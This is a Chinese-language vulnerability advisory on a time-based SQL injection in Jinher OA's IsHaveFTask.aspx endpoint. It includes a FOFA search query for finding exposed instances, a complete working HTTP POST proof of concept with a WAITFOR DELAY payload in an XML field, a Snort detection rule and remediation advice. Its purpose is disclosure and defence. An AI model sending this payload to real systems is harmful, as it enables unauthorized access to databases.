

金和OA-IsHaveFTask-sql注入

金和OA-IsHaveFTask-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

金和OA

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="金和网络-金和OA"

POC/EXP:

```
POST /c6/Jhsoft.web.dailytaskmanage/IsHaveFTask.aspx/ HTTP/1.1
Content-Type: application/xml
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

<root>
  <Task>
    <TaskIDList>3);WAITFOR DELAY'0:0:5'-- </TaskIDList>
  </Task>
</root>
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Jinher OA - Time-Based SQLi in IShaveFTask.aspx";
  flow:to_server,established;
  content:"POST"; http_method;
  content: "/c6/Jhsoft.web.dailytaskmanage/IShaveFTask.aspx"; http_uri;
  content: "Content-Type: application/xml"; http_header;
  content: "<TaskIDList>"; http_client_body;
  pcre: "/<TaskIDList>[^\<]*'[^<]*(WAITFOR\s+DELAY|SLEEP\(\\d+\\))/i";
  metadata:service http;
  metadata:affected_product "金和OA系统";
  metadata:vulnerability_type "Time-Based SQL Injection";
  classtype:sql-injection;
  sid:1000310;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。